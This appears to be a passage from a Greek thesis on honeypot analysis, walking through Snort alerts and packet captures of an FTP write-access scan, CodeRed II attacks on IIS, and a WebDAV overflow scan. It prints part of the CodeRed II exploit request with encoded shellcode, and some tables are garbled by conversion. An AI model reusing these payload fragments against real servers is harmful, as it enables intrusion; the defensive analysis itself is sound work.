Πίνακας 3-8

Στις τρεις πρώτες γραμμές το αποτέλεσμα που βλέπουμε μοιάζει με NetBIOS scan για απαρίθμηση πόρων του domain KYKLADES, και μάλιστα έχει εντοπίσει κάποια windows μηχανήματα.

Στην συνέχεια, το session φαίνεται να εστιάζεται πάνω σε ένα συγκεκριμένο μηχάνημα και

Παρακάτω παρατηρούμε πληροφορίες για τους δύο χρήστες αυτού μηχανήματος administrator και guest.

Το παράδειγμα στον πίνακα 3-8 είναι στην πραγματικότητα οι ASCII χαρακτήρες πού μεταφέρθηκαν με τα πακέτα που αντάλλαξαν ο επιτιθέμενος με ένα windows μηχάνημα κατά την απαρίθμηση πόρων μέσω ενός εργαλείου GUI, πιθανότατα με το Legion ή κάποιο άλλο.

Ftp Public Scan

Ένα άλλο είδος scan που συναντάμε πολύ συχνά είναι το FTP public scanig και προσπάθεια για write access. Δηλαδή είναι κάτι σαν συνδυασμός πολλών scans με σκοπό να πάρει ο επιτιθέμενος μία ολοκληρωμένη πληροφορία, δηλαδή, υπάρχει η μηχανή, τρέχει την υπηρεσία που μας ενδιαφέρει (port scan) και μπορούμε να την εκμεταλλευτούμε αυτήν την υπηρεσία.

Ας δούμε ένα παράδειγμα ενός τέτοιου scan όπως καταγράφηκε από το **snort** από κάποιον επιτιθέμενο προς την πόρτα 21 ενός linux **honeypot**.

220 (vsFTPd 1.1.3)
USER anonymous7
331 Please specify the password.
PASS Qgpuser@home.com
230 Login successful. Have fun.
CWD /pub/
250 Directory successfully changed.http://www.sans.org/resources/idfaq/port_137.php
MKD 040222010129p
550 Permission denied.
CWD /public/
550 Failed to change directory.
CWD /pub/incoming/
550 Failed to change directory.
CWD /incoming/
550 Failed to change directory.
CWD /_vti_pvt/
550 Failed to change directory.
CWD /
250 Directory successfully changed.
MKD 040222010130p
550 Permission denied.
CWD /upload/
550 Failed to change directory.
500 OOPS: vsf_sysutil_recv_peek: no data

Πίνακας 3-9

Ας πάρουμε με την σειρά τα γεγονότα και ας δούμε τι συμπεράσματα μπορούμε να βγάλουμε. Αρχικά βλέπουμε να επιτυγχάνεται σύνδεση με ftp στο **honeypot** με user name

'anonymous' και password 'Qgpuser@home.com'. Αφού πέτυχε η σύνδεση, δηλαδή το μηχάνημα υπάρχει και έχει ανοιχτή την πόρτα 21 έχουμε και κάποια, έστω περιορισμένη, πρόσβαση. Στην συνέχεια γίνεται έλεγχος για δυνατότητες εγγραφής σε επτά συνηθέστερα υπαρκτούς καταλόγους. Ο έλεγχος γίνεται ως εξής, πρώτα προσπαθεί να μπει στον φάκελο, άρα θα πρέπει να υπάρχει αυτός '*CWD /pub/*' και αν υπάρχει προσπαθεί να δημιουργήσει έναν νέο φάκελο μέσα σ' αυτόν '*MKD 040222010129p'*. Φυσικά αν δημιουργηθεί με επιτυχία ο φάκελος, τότε ο επιτιθέμενος έχει καλές πιθανότητες να καταλάβει την μηχανή ή να την χρησιμοποιήσει για ανταλλαγή παράνομου υλικού, π.χ λογισμικό, ταινίες και τα λοιπά.

Το εργαλείο που χρησιμοποιήθηκε από τον επιτιθέμενο στην συγκεκριμένη περίπτωση, είναι το Grim's ping (<u>http://grimsping.cjb.net/</u>). Αυτό είναι ένα GUI εργαλείο για Windows, το οποίο έχει την δυνατότητα να βρίσκει συστήματα με υπηρεσίες που μπορούμε να του ορίσουμε εμείς (προεπιλεγμένες πόρτες 21,22,80,1080 και 8080), και να χειριστεί τα αποτελέσματα δίνοντάς μας την δυνατότητα να εκμεταλλευτούμε κάποιες αδυναμίες που θα εντοπίσουμε.

IP	Ping Status		Average Time
Operation	IP Bange	Status	

Εικόνα 3-5 - Grim's ping

Στην εικόνα 3-5 βλέπουμε το interface του Grim's ping . Λεπτομέρειες για την λειτουργία του Ping μπορούμε να βρούμε στην ιστοσελίδα που αναφέραμε παραπάνω , όπως και για περισσότερες

πληροφορίες για ftp public scan και πώς επιτυγχάνεται με το Grim's ping υπάρχουν στο έγγραφο www.giac.org/practical/safka_gcia.doc.

Περιπτώσεις Επιθέσεων

Στην συνέχεια θα δούμε μερικές περιπτώσεις επιθέσεων που πραγματοποιήθηκαν στο δίκτυο του Ελληνικού έργου **Honeynet**. Θα εξηγήσουμε πώς αλληλεπιδρά ο επιτιθέμενος με το **honeynet**, πως καταλαβαίνουμε ότι πρόκειται για επίθεση, πως αναγνωρίζουμε το είδος της επίθεσης, ποια vulnerabilitys και exploits χρησιμοποιούν οι επιτιθέμενοι και ποια εργαλεία χρησιμοποιούμε εμείς για να βγάλουμε αυτά τα συμπεράσματα.

Συνήθως βρίσκουμε δύο κατηγορίες επιθέσεων, αυτές που γίνονται αυτόματα από worms ή από αυτοματοποιημένα εργαλεία, και αυτές που γίνονται χειροκίνητα από **blakhat**.

CodeRed II

Μια πολύ διαδεδομένη αυτοματοποιημένη επίθεση είναι αυτή πού συναντάμε στον Microsoft IIS από το **worm** CodeRed II. Ας δούμε όμως πώς μπορούμε να ανακαλύψουμε την δραστηριότητα αυτή μέσα από την ανάλυση μιας μέρας.

Αυτοματοποιημένες είναι οι επιθέσεις που μέρος τους ή και ολόκληρες εκτελούνται από ένα πρόγραμμα, ή μια μικρή ακολουθία από εντολές (script) για αυτόν τον σκοπό. Τέτοιου είδους προγράμματα μπορεί να είναι, **worms**, Trojan, Rootkits, Scanners και autorooters.

Περισσότερες πληροφορίες για αυτοματοποιημένες επιθέσεις, μπορούμε να βρούμε στην πτυχιακή εργασία του Γιάννη Παπαπάνου, που πραγματοποιήθηκε στο Internet Systematics Lab του Εθνικού Ερευνητικού Κέντρου «Δημόκριτος», Απρίλιος 2003, με θέμα Δικτυακές επιθέσεις – επιπτώσεις και τρόποι ανίχνευσης τους, στο "κεφάλαιο 1 – Κατηγοριοποίηση των επιθέσεων – Αυτοματοποιημένες – Χειροκίνητες επιθέσεις".

Snort Alert: Το πρώτο πράγμα που μας κινεί το ενδιαφέρον είναι το alert που παράγει το **snort** όταν, αυτό το **worm**, προσπαθεί να παραβιάσει ένα μηχάνημα που έχει ανοιχτή την πόρτα 80.

06/17-09:05:48.086384 [**] [1:1243:2] WEB-IIS ISAPI .ida attempt [**] [Classification: Web Application Attack] [Priority: 1] {TC P} 211.161.63.67:4358 -> 192.168.0.12:80

Πίνακας 3-10

Στον πίνακα 3-10 βλέπουμε το μήνυμα που παράχθηκε από το **snort**. Είναι πιο εύκολο να ξεκινήσουμε από αυτή την κατεύθυνση αφού σύμφωνα με την διαδικασία που αναφέραμε στο κεφάλαιο 2, μπορούμε με την χρήση του εργαλείου **swatch**, να λάβουμε αυτό το alert σε email. Έτσι έχουμε μια ιδέα για το είδος της επίθεσης, την ώρα, και την κατεύθυνση της (από η προς το **Honeynet**).

Στο αρχείο snort_full που περιέχει τα alerts με περισσότερες πληροφορίες από τον πίνακα 3-10 (από snort_fast), πολλές φορές βρίσκουμε URLs στα οποία μπορούμε να βρούμε πληροφορίες που αφορούν το alert που εξετάζουμε. Στην συγκεκριμένη περίπτωση, αναζητώντας το αντίστοιχο alert στο snort_full, βρίσκουμε δύο URLs με πληροφορίες για αυτήν την επίθεση στον πίνακα 3-11

06/17-09:05:48.086384 211.161.63.67:4358 -> 192.168.0.12:80 TCP TTL:106 TOS:0x80 ID:22648 IpLen:20 DgmLen:1500 DF ***A**** Seq: 0x9228F4DE Ack: 0x7F87021B Win: 0x4470 TcpLen: 20 [Xref => http://www.whitehats.com/info/IDS552] [Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0071]

Πίνακας 3-11

Στο πρώτο URL <u>http://www.whitehats.com/info/IDS552</u> βρίσκουμε τις πληροφορίες που βλέπουμε στον πίνακα 3-12. Η ιστοσελίδα witehats.com έχει μία βάση δεδομένων με πληροφορίες για διάφορα είδη επιθέσεων. Στους κανόνες του **snort** που παράγουν τα alert, επισυνάπτονται και τα κλειδιά των εγγραφών που κρατάνε αυτές τις πληροφορίες, Αξίζει να σημειωθεί ότι πλέον δεν φαίνεται να ενημερώνεται η βάση του whitehats.com. Παρόμοιες πληροφορίες μπορούμε να βρούμε στην <u>http://cve.mitre.org/cgi-</u> <u>bin/cvename.cgi?name=CAN-2000-0071</u>.

IDS552 "IIS ISAPI OVERFLOW IDA"

Platform(s): windows **Category**: web-iis **Classification**: System Integrity or Information Gatherin This event indicates that a remote attacker has attempted to exploit a vulnerability in Microsoft IIS. An unchecked buff

How Specific

This event is specific to a vulnerability, but may have been caused by any of several possible exploits. Signatures used

Trusting The Source IP Address

The packet that caused this event is normally a part of an established TCP session, indicating that the source IP address

Πίνακας 3-12 - http://www.whitehats.com/info/IDS552

Το επόμενο βήμα είναι να δούμε στα Data που κατέγραψε το **snort** για κίνηση αυτής της IP. Θα ελέγξουμε το δυαδικό αρχείο (binary) χρησιμοποιώντας το **ethereal**.

0617	200 snort.log -	Ethereal				
<u>F</u> ile	<u>E</u> dit <u>V</u> iew	<u>C</u> apture	<u>A</u> nalyze <u>H</u> elp			
			< <p></p>		0	
No.	. Time	Sourc	e	Destination	Protocol	Info
	1 12:05:47,47	72817 211,16	61,63,67	192.168.0,12	TCP	[TCP ZeroWindow] 4358 > http [SYN] Seg=0 Ack=0 Win=16384 Len=0 MSS=1460
	2 12:05:47.48	35016 192.1	68.0.12	211.161.63.67	TCP	http > 4358 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
	3 12:05:48.08	32536 211,18	61,63,67	192.168.0.12	TCP	4358 > http [ACK] Seq=1 Ack=1 Win=17520 Len=0
	4 12:05:48.08	86384 211,16	51,63,67	192.168.0.12	HTTP	GET /default.ida?000000000000000000000000000000000000
	5 12:05:48.08	37733 211,10	51.63.67	192.168.0.12	HTTP	Continuation
	6 12:05:48.09	30536 192.1	68.0.12	211.161.63.67	TCP	http > 4358 [ACK] Seq=1 Ack=1461 Win=8760 Len=0
	7 12:05:48.09	6335 192.1	68.0.12	211,161,63,67	TCP	http > 4358 [ACK] Seq=1 Ack=2921 Win=11680 Len=0
	8 12:05:48.68	37148 211.10	51,63.67	192.168.0.12	HTTP	Continuation
	9 12:05:48,68	39605 192.1	68.0.12	211.161.63.67	TCP	http > 4358 [ACK] Seq=1 Ack=3819 Win=14600 Len=0
L	10 12:05:48.70	09270 192.1	68.0.12	211,161,63,67	HTTP	HTTP/1.1 404 Not Found
	11 12:05:48.71	10442 192.1	68.0.12	211.161.63.67	TCP	http > 4358 [FIN, ACK] Seq=517 Ack=3819 Win=14600 Len=0
	12 12:05:49.28	36200 211.10	51.63.67	192.168.0.12	TCP	4358 > http [ACK] Seq=3819 Ack=518 Win=17004 Len=0
L	13 12:05:49,28	36214 211,16	51,63,67	192.168.0,12	TCP	[TCP ZeroWindow] [TCP Dup ACK 12#1] 4358 > http [RST] Seq=3819 Ack=518 Win=0 Len=0
I						
EF	ame 1 (62 butes	s on wire. f	2 butes capture	0		
1 Ft	hernet II. Src:	1 00+0c+30+2	29:d5:80. Dst: 0	0+00+0c+01+09+c6		The second se
E Ir	ternet Protocol	1. Sec. Adde:	211 161 63 67	211.161.63.67). Det A	ddr: 192.	168.0.12 (192.168.0.12)
E Tr	ansmission Cont	trol Protoco	al. Sec Port: 43	18 (4358). Bst Port: b	ttp (80).	Seat 0. Ackt 0. Lent 0
1220					oop (00777	
L						
L						
L						
L						
L						
4						×/// (>
					-	
0000	00 00 0c 01 0	9 c6 00 0c	30 29 65 80 08	00 45 800)	E.	
0010	20 30 57 81 4	0 00 68 06	e9 ec ds al st	43 81 63 .VW.U.J 00 70 02	···//	
0020	40 00 db e8 0	0 00 02 04	05 64 01 01 04	02 0	••••	
	10 00 00 00 0		VO 51 VI VI VI			
Filter	p.addr == 21	1.161.63.67				I Keset[Appiy] ⊢ile: 0617@00-snon.iog

Eικόνα 3-6 – ip.addr == 211.161.63.67

Ανοίγουμε το δυαδικό αρχείο που έχει παράγει το **snort** και χρησιμοποιούμε φίλτρο για να απομονώσουμε την IP που θέλουμε να εξετάσουμε, στην περίπτωση μας το φίλτρο θα ήταν '*ip.addr* == 211.161.63.67' και το αποτέλεσμα αυτό που φαίνεται στην εικόνα 3-6.

Εδώ παρατηρούμε ότι ο επιτιθέμενος στέλνει αίτηση για σύνδεση (SYN) στην πόρτα 80 του **honeypot** στην γραμμή 1. Αφού ολοκληρωθεί η σύνδεση, στέλνει την ΗΤΤΡ εντολή που φαίνεται στην γραμμή 4:

Στην συνέχεια στέλνονται και άλλα Data όπως βλέπουμε στις γραμμές 5 και 8. Για να δούμε τους ASCII χαρακτήρες που μεταφέρθηκαν με αυτά τα πακέτα μπορούμε να επιλέξουμε από το μενού Analyze -> follow TCP stream. Ένα μέρος από το αποτέλεσμα είναι αυτό που βλέπουμε στον πίνακα 3-13α

GET /
default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%
u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1
0.
Content-type: text/xml
Content-length: 3379
` dg 6dg.&h\ P U\ P U X U = =
T .u~0 F0
<u>CodeRedII</u> \$ U f8 .PjP P8 P.E. p8 .thS U U .E.i T , ,
. j.j. U P U Ou ;i T \mathcal{K} \mathcal{K} . W U j.j. U.j U \mathcal{F} 4)E.jd U \mathcal{K} P U \mathcal{K} =
sf.pf.r .Pdt j.j.j. U . t.E.j.Th~f u. U Yjp Pu. U tK3 U.=3'u? .h
Uwxu`d\$.dgXa dg 6dg.&f.MZu .K<.<.PEu .T.xB<.KERNu . EL32u 3 I.r . A .
<. GetPu
u U.ESleep. u U.EGetSystemDetaultLangID. u U.EGetSystemDirectoryA. u U.E

Πίνακας 3-13α

Παρατηρώντας τους ASCII, το πρώτο πράγμα που μπορούμε να φανταστούμε βλέποντας την ακολουθία από τον χαρακτήρα X αμέσως υποψιαζόμαστε ότι πρόκειται για προσπάθεια επίτευξης buffer overflow.

Περισσότερες πληροφορίες για **buffer overflow**, υπάρχουν στην πτυχιακή εργασία του Δημήτριου Πρίτσου, που υλοποιήθηκε στο Internet Systematics Lab του ΕΚΕΦΕ «Δημόκριτος», για το Τεχνολογικό Ινστιτούτο Αθηνών, με θέμα «**Εντοπισμός επιθέσεων κακόβουλων χρηστών που βασίζονται σε αδυναμίες υπερχείλισης μνήμης (Buffer Overflow)**»

Μια λύση για να επαληθευθούν οι υποψίες μας είναι να αναζητήσουμε στο διαδίκτυο τι είναι αυτή η επίθεση, από άλλους που έχουν δημοσιεύσει κάποια πληροφορία που να σχετίζεται με την περίπτωση μας. Ανοίγουμε λοιπόν μία μηχανή αναζήτησης, όπως την <u>www.google.com</u> και γράφουμε κάποιες λέξεις κλειδιά, για παράδειγμα

'GET /default.ida? '

GET /default.ida? που βλέπουμε στο payload. Έτσι παίρνουμε κάποια αποτελέσματα, και ένα από αυτά είναι αυτό του cert.org το οποίο έχει μέσα στα αποτελέσματα τις αναζήτησης και την ακολουθία XXXXXXXXX.....



Εικόνα 3-7

Ανοίγοντας το site <u>http://www.cert.org/incident_notes/IN-2001-09.html</u>, διαβάζουμε ότι πρόκειται για ένα **worm** με όνομα codeRedII, το οποίο εκμεταλλεύεται vulnerability του IIS (<u>http://www.cert.org/advisories/CA-2001-13.html</u>) για να αποκτήσει πρόσβαση στο μηχάνημα που επιτίθεται και αφού εγκατασταθεί στο μηχάνημα, προσπαθεί να μολύνει να υπόλοιπα μηχανήματα του ίδιου δικτύου και των κοντινών IP. Ο τελικός σκοπός του **worm** είναι να δημιουργήσει ένα

backdoor για να μπορεί κάποιος επιτιθέμενος να αποκτήσει πρόσβαση στους δίσκους του

μολυσμένου μηχανήματος μέσω του IIS

(http://securityresponse.symantec.com/avcenter/venc/data/codered.ii.html).

Για επιβεβαίωση ότι πρόκειται για το **Worm** CodeRedII, μπορούμε απλά να παρατηρήσουμε την λέξη CodeRedII που έχουμε μαρκάρει με κίτρινο στον πίνακα 3-13α.

Όμως τι έγινε τελικά; Η επίθεση πέτυχε; Την απάντηση μπορούμε να την βρούμε στο υπόλοιπο του ASCII payload που μεταφέρθηκε στα πακέτα που ακολουθεί.

 V n0@ V/t0@ V/x0@ V/10@ VEVDLODED EVE SOFTWADE\Migraged\Windows a
7600(@, 7600(@, 7600(@, 7600(@)
N I (Current version) winlogon
SFCDisable SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual
Roots/Scripts/MSADC./C/Dc:,21/d:,
217
0 0 00. 0 0 0 0 0
0KERNEL32.dll.ADVAPI32.dllSleepGetWindowsDirectoryAWinExecRegQuery
ValueExARegSetValueExARegOpenKeyExARegCloseKey
^jd:\explorer.exe\$ U . tML . 8>u'j #
j.V L UFOu L U . dL aHTTP/1.1 404 Not Found
Date: Fri, 13 Jun 2003 16:23:38 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b DAV/1.0.2 PHP/4.0.6
mod perl/1.24 01
Connection: close
Content-Type: text/html; charset=iso-8859-1
HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"
<hr/> HTML> <head></head>
<pre><title>404 Not Found</title></pre>
<body></body>
<h1>Not Found</h1>
The requested URL /default.ida was not found on this server. <p></p>
<hr/> HR>
<address>Apache/1.3.20 Server at www.arpies.com Port 80</address>

Πίνακας 3-13β

Στον πίνακα 3-13β, βλέπουμε μαρκαρισμένη, την απάντηση που πήρε το **worm** από το μηχάνημα που προσπάθησε να επιτεθεί στην πόρτα 80.

Η επίθεση δεν πέτυχε το default.ida δεν βρέθηκε, και φυσικά δεν θα πετύχαινε αφού στην πόρτα 80 του **honeypot** δεν 'ακούει' ο IIS των Windows, αλλά ο apache 1.3.20 σε περιβάλλον linux.

WebDAV Attack

Το WebDAV είναι ένα σύνολο από προεκτάσεις του πρωτοκόλλου HTTP, που επιτρέπουν στους χρήστες να τροποποιούν και να διαχειρίζονται αρχεία σε απομακρυσμένους **web servers**.

Παρακολουθώντας τα alert που παράγει το **snort** παίρνουμε alert όπως αυτό που φαίνεται παρακάτω στον πίνακα 3-14.

11/26-14:43:27.747242 [**] [1:1070:5] WEB-MISC webdav search access [**] [Classification: access to a potentially vulnerable web application] [Priority: 2] {TCP} 80.132.90.203:2252 -> 192.168.0.2:80

Πίνακας 3-14

Αυτά τα alerts προειδοποιούν για κάποια προσπάθεια πρόσβασης μέσω του webDav. Ερευνώντας τα alert του **snort** για την συγκεκριμένη IP, θα ανακαλύψουμε ότι έχει δραστηριότητα και σε άλλα σημεία όπως τα παρακάτω. Στον πίνακα 3-15 βλέπουμε ότι στέλνονται κάποια ICMP πακέτα και παρακάτω

11/26-18:08:56.298320 [**] [1:384:4] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 80.132.90.203 -> 192.168.0.2 11/26-18:08:56.307480 [**] [1:384:4] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 80.132.90.203 -> 192.168.0.2 11/26-18:08:57.954583 [**] [1:384:4] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 80.132.90.203 -> 192.168.0.2

Πίνακας 3-15

βρίσκουμε κάποια άλλες log εγγραφές, όπως στον Πίνακα 3-16, από την οποίο μάλιστα μπορούμε να βρούμε μερικά URLs με πληροφορίες για αυτή την επίθεση μέσα στο αρχείο snort_full.

[**] [1:2091:2] WEB-IIS WEBDAV nessus safe scan attempt [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
11/26-18:13:20.500014 80.132.90.203:4673 192.168.0.2:80
TCP TTL:115 TOS:0x80 ID:8982 IpLen:20 DgmLen:81 DF
AP Seq: 0xD2B33FE9 Ack: 0x8F2C019E Win: 0x4410 TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11412][Xref => http://www.securityfocus.com/bid/7116][Xref
=> http://cve.mitr
e.org/cgi-bin/cvename.cgi?name=CAN-2003-0109]

http://www.securityfocus.com/bid/7116 http://cgi.nessus.org/plugins/dump.php3?id=11412 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0109

Σύμφωνα με τα παραπάνω URLs, μπορούμε να θεωρήσουμε, ότι αυτή η επίθεση εκμεταλλεύεται μία ευπάθεια των Microsoft Windows στην βιβλιοθήκη ntdll.dll για να επιτύχει **Buffer Overflow** και να πάρει μη εξουσιοδοτημένη πρόσβαση.

Αν επισκεφθούμε την ιστοσελίδα του securityfocus για παράδειγμα, θα μάθουμε ότι η βιβλιοθήκη ntdll.dll των windows περιλαμβάνει μια λειτουργία που δεν εκτελεί πλήρες έλεγχο ορίων. Αυτή η ευπάθεια παρουσιάζεται στην συνάρτηση "RtlDosPathNameToNtPathName_U" και μπορεί να εκμεταλλευθεί από άλλα προγράμματα που χρησιμοποιούν αυτή την βιβλιοθήκη.

Η συνάρτηση αυτή, περιμένει ένα μη προσημασμένο **short** ακέραιο που προσδιορίζει το μέγεθος του string το οποίο αποστέλνεται για input όταν καλείται από κάποια άλλη συνάρτηση ή διεργασία. Ο αριθμός αυτός είναι 16 bits, οπότε το περιθώριο των εφικτών τιμών κυμαίνεται από 0 – 65535 bytes. Αν ένας επιτιθέμενος καλέσει την συνάρτηση εφαρμόζοντας ένα string μεγέθους 65536 αυτό θα επαναπροσδιοριστεί να είναι 1 byte, στην πραγματικότητα από το 65535 byte και μετά δεν στέλνει 1 byte αλλά περισσότερα με κακόβουλο κώδικα.

Επίσης το WebDAV δεν κάνει έλεγχο για το μέγεθος του ονόματος αρχείου που ακολουθεί μετά από κάποια από τις αιτήσεις προς το WebDAV, για παράδειγμα PRIOPFIND, LOCK, SEARCH και GET.

Ο συνδυασμός των προβλημάτων της βιβλιοθήκης ntdll.dll και του WebdAV, μπορεί να έχει σαν αποτέλεσμα να υπερχείλιση τον buffer και στην θέση του ονόματος αρχείου να εκτελεστεί κακόβουλος κώδικας για να αποκτήσει ο επιτιθέμενος μη εξουσιοδοτημένη πρόσβαση στο μηχάνημα στόχο.

Το μήνυμα που εμφανίζεται στο alert στον πίνακα 3-16, προειδοποιεί για το nessus scan. Το **snort**, μπορεί να ανιχνεύει μερικά scans που γίνονται από γνωστά σε αυτό εργαλεία επιθέσεων ή απλά εργαλεία scan. Ένα από αυτά τα εργαλεία είναι το nessus (<u>http://www.nessus.org/</u>). Στην συγκεκριμένη περίπτωση, με το nessus , αν παίξουμε τον ρόλο του επιτιθέμενου, θα μπορούσαμε να ανακαλύψουμε αν κάποιο μηχάνημα έχει ανοιχτή την πόρτα 80 και υποστηρίζει WebDAV.

Έλεγχος Snort alerts

Όπως είναι γνωστό το snort όπως και όλα τα IDS, παράγουν συχνά false positive alerts. Δηλαδή alerts που οφείλονται σε λάθος εντοπισμό από το IDS. Γι' αυτό το λόγο πρέπει να ελέγξουμε την ορθότητα του alert που λάβαμε.

Ποιο όμως ήταν το πραγματικό αίτιο αυτό που προκάλεσε την παραγωγή αυτού του alert από το **snort**;

Αν εξετάσουμε μέσα στο κατάλογο που εγκαταστάθηκε το **snort**, θα βρούμε έναν υποκατάλογο που ονομάζεται *'rules'*. Σε αυτόν τον κατάλογο θα βρούμε κάποια αρχεία, τα οποία περιέχουν κάποιους κανόνες σύμφωνα με τους οποίους το **snort** παράγει τα alerts. Στον Πίνακα 3-17 μπορούμε να δούμε ομαδοποιημένους τους κανόνες σε αρχεία με κατάληξη .rules. Το αρχείο με τους κανόνες που θέλουμε εμείς είναι το web-iis.rules αφού όπως είδαμε παραπάνω η ευπάθεια αυτή συσχετίζεται με τον IIS.

Πίνακας 3-17

Iwr-r-r-l galexgalex4132 Máp8 16:21 attack-responses.rulesrwr-r-r-1 galexgalex12273 Máp8 16:21 backdoor rulesrwr-r-r-1 galexgalex2971 Máp8 16:21 backdoor rulesrwr-r-r-1 galexgalex2971 Máp8 16:21 backdoor rulesrwr-r-r-1 galexgalex4460 Máp8 16:21 chat.rules <th></th> <th></th> <th></th> <th></th>				
-rw-rl galexgalex12273 Mάρ8 16:21 backdoor.rules-rw-rrl galexgalex2971 Máρ8 16:21 back-traffic.rules-rw-rrl galexgalex2971 Máρ8 16:21 back-traffic.rules-rw-rrl galexgalex4460 Máρ8 16:21 chat.rules-rw-rrl galexgalex5148 Máp8 16:21 pop3.rules-rw-rr-l galexgalex5061 Máp8 16:21 pop3.rules-rw-rr-l galexgalex51205 Máp8 16:21 rpc.rules-rw-rr-l galexgalex51205 Máp8 16:21 rpc.rules-rw-rr-l galexgalex4867 Máp8 16:21 scan.rules-rw-rr-l galexgalex4997 Máp8 16:21 scan.rules-rw-rr-l galexgalex4997 Máp8 16:21 scan.rules-rw-rr-l galexgalex4997 Máp8 16:21 scan.rules-rw-rr-l galexgalex448 Máp8 16:21 scan.rules-rw-rr-l galexgalex12454 Máp8 16:21 scan.rules-rw-rr-l galexgalex12454 Máp8 16:21 scan.rules-rw-rr-l galexgalex3494 Máp8 16:21 scan.rules-rw-rr-l galexgalex12454 Máp8 16:21 scan.rules-rw-rr-l galexgalex12454 Máp8 16:21 scan.rules-rw-rr-l galexgalex12656 Máp8 16:21 scan.rules-rw-rr-l galexgalex12056 Máp8 16:21 scan.rules<	rw-rr	1 galex	galex	4132 Máp 8 16:21 attack-responses.rules
-rw-rr1 galexgalex2971 Máp 8 16:21 bad-traffic.rules-rw-rr-1 galexgalex4460 Máp 8 16:21 chat.rules-rw-rr-1 galexgalex5148 Máp 8 16:21 pop3.rules-rw-rr-1 galexgalex5061 Máp 8 16:21 pop3.rules-rw-rr-1 galexgalex51205 Máp 8 16:21 porn.rules-rw-rr-1 galexgalex51205 Máp 8 16:21 rpc.rules-rw-rr-1 galexgalex2877 Máp 8 16:21 senrules-rw-rr-1 galexgalex4867 Máp 8 16:21 senrules-rw-rr-1 galexgalex4997 Máp 8 16:21 senrules-rw-rr-1 galexgalex4048 Máp 8 16:21 senrules-rw-rr-1 galexgalex4048 Máp 8 16:21 senrules-rw-rr-1 galexgalex12454 Máp 8 16:21 sql.rules-rw-rr-1 galexgalex2665 Máp 8 16:21 sql.rules-rw-rr-1 galexgalex2665 Máp 8 16:21 thp.rules-rw-rr-1 galexgalex10368 Máp 8 16:21 thp.rules-rw-rr-1 galexgalex10368 Máp 8 16:21 web-client.rules-rw-rr-1 galexgalex91561 Máp 8 16:21 web-client.rules-rw-rr-1 galexgalex91561 Máp 8 16:21 web-client.rules-rw-rr-1 galexgalex10368 Máp 8 16:21 web-client.rules-rw-rr-1 galexgalex34729 Máp 8 16:21 web-client.rules-rw-rr-1 galexgalex34729 Máp 8 16:21 web-fion.rules-rw-rr-1 galexgalex<	-rw-rr	1 galex	galex	12273 Mάρ 8 16:21 backdoor.rules
-rw-r-r-1 galexgalex4460 Mάρ8 16:21 chat.rules	-rw-rr	1 galex	galex	2971 Máp 8 16:21 bad-traffic.rules
rw-r-r1 galexgalex5148 Mάρ8 16:21 pop3.rules-rw-r-r1 galexgalex5061 Mάρ8 16:21 porn.rules-rw-rr1 galexgalex51205 Mάρ8 16:21 rpc.rules-rw-rr1 galexgalex2877 Mάρ8 16:21 rpc.rules-rw-rr1 galexgalex4867 Mάρ8 16:21 services.rules-rw-rr1 galexgalex4997 Mάρ8 16:21 services.rules-rw-rr1 galexgalex4997 Mάρ8 16:21 services.rules-rw-rr1 galexgalex4997 Mάρ8 16:21 services.rules-rw-rr1 galexgalex4048 Mάρ8 16:21 services.rules-rw-rr1 galexgalex4048 Mάρ8 16:21 services.rules-rw-rr1 galexgalex12454 Máρ8 16:21 services.rules-rw-rr1 galexgalex2455 Máρ8 16:21 services.rules-rw-rr1 galexgalex2665 Máρ8 16:21 telnet.rules-rw-rr1 galexgalex6106 Máρ8 16:21 veb-cgi.rules-rw-rr1 galexgalex10368 Máρ8 16:21 web-cgi.rules-rw-rr1 galexgalex1753 Máρ8 16:21 web-cgi.rules-rw-rr1 galexgalex1753 Máρ8 16:21 web-cgi.rules-rw-rr1 galexgalex34729 Máρ8 16:21 web-cgi.rules-rw-rr1 galexgalex34729 Máρ8 16:21 web-mis.rules-rw-rr	-rw-rr	1 galex	galex	4460 Mάρ 8 16:21 chat.rules
Tw-T-T 1 galex galex 5148 Máp 8 16:21 pop3.rules Tw-TT 1 galex galex 51205 Máp 8 16:21 porn.rules Tw-TT 1 galex galex 51205 Máp 8 16:21 rpc.rules Tw-TT 1 galex galex 2877 Máp 8 16:21 rservices.rules Tw-TT 1 galex galex 4867 Máp 8 16:21 services.rules Tw-TT 1 galex galex 4867 Máp 8 16:21 sent.rules Tw-TT 1 galex galex 4867 Máp 8 16:21 shellcode.rules Tw-TT 1 galex galex 13571 Máp 8 16:21 shellcode.rules Tw-TT 1 galex galex 12454 Máp 8 16:21 snmp.rules Tw-TT 1 galex galex 12454 Máp 8 16:21 sql.rules Tw-TT 1 galex galex 2665 Máp 8 16:21 telnet.rules Tw-TT 1 galex galex 2665 Máp 8 16:21 telnet.rules Tw-TT 1 galex galex 10368 Máp 8 16:21 web-attacks.rules Tw-TT 1 galex galex 10561 Máp 8 16:21 web-client.rules Tw-TT 1 galex galex 1753 Máp 8 16:21 web-client.rules Tw-TT 1 galex galex 34729 Máp 8 16:21 web-frontpage.rules Tw-TT 1 galex galex 34729 Máp 8 16:21 web-misc.rules Tw-TT 1 galex galex 34729 Máp 8 16:21 web-misc.rules		-	-	
